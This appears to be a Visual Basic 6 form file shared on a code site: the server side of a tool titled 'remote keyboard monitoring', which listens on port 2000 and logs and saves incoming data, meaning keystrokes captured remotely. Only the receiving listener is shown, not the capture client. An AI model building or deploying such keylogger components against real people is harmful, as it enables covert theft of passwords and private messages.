📄 form1.frm
字号:
VERSION 5.00
Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "MSWINSCK.OCX"
Begin VB.Form Form1
Caption = "远程键盘监控服务端"
ClientHeight = 5400
ClientLeft = 60
ClientTop = 450
ClientWidth = 9570
LinkTopic = "Form1"
ScaleHeight = 5400
ScaleWidth = 9570
StartUpPosition = 3 '窗口缺省
Begin VB.CommandButton Command2
Caption = "保存全部文本"
Height = 375
Left = 120
TabIndex = 3
Top = 1320
Width = 1695
End
Begin VB.CommandButton Command1
Caption = "复制全部文本"
Height = 375
Left = 120
TabIndex = 2
Top = 720
Width = 1695
End
Begin VB.Timer Timer2
Interval = 60000
Left = 360
Top = 4680
End
Begin VB.Timer Timer1
Interval = 5000
Left = 960
Top = 4680
End
Begin VB.TextBox Text1
Height = 5055
Left = 1920
MultiLine = -1 'True
ScrollBars = 2 'Vertical
TabIndex = 0
Top = 120
Width = 7455
End
Begin MSWinsockLib.Winsock Winsock1
Left = 1440
Top = 4680
_ExtentX = 741
_ExtentY = 741
_Version = 393216
End
Begin VB.Label Label1
Caption = "状态显示"
Height = 255
Left = 120
TabIndex = 1
Top = 240
Width = 1695
End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Sub Command1_Click()
Clipboard.Clear
Clipboard.SetText Text1.Text
End Sub
Private Sub Command2_Click()
Open "record.txt" For Output As #1
Print #1, Text1.Text
Close #1
MsgBox "保存成功"
End Sub
Private Sub Command3_Click()
' If Command3.Caption = "暂停接收数据" Then
' Winsock1.Close
' Command3.Caption = "恢复接收数据"
' Else
' Winsock1.LocalPort = 2000
' Winsock1.RemotePort = 1999
' Winsock1.Listen
' Command3.Caption = "暂停接收数据"
' End If
End Sub
Private Sub Form_Load()
Winsock1.LocalPort = 2000
Winsock1.RemotePort = 1999
Winsock1.Listen
Me.AutoRedraw = True
End Sub
Private Sub Timer1_Timer()
Select Case Winsock1.State
Case 0: Label1.Caption = "0-关闭"
Case 1: Label1.Caption = "1-打开"
Case 2: Label1.Caption = "2-监听"
Case 6: Label1.Caption = "6-正在连接"
Case 7: Label1.Caption = "7-已连接"
Case 9: Label1.Caption = "9-错误"
Winsock1.Close
Winsock1.Listen
End Select
End Sub
Private Sub Timer2_Timer()
Text1.Text = ""
End Sub
Private Sub Winsock1_Connect()
Print Winsock1.State
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> 0 Then Winsock1.Close
Winsock1.Accept requestID
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim str As String
Winsock1.GetData str
Text1.Text = Text1.Text + str
End Sub
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -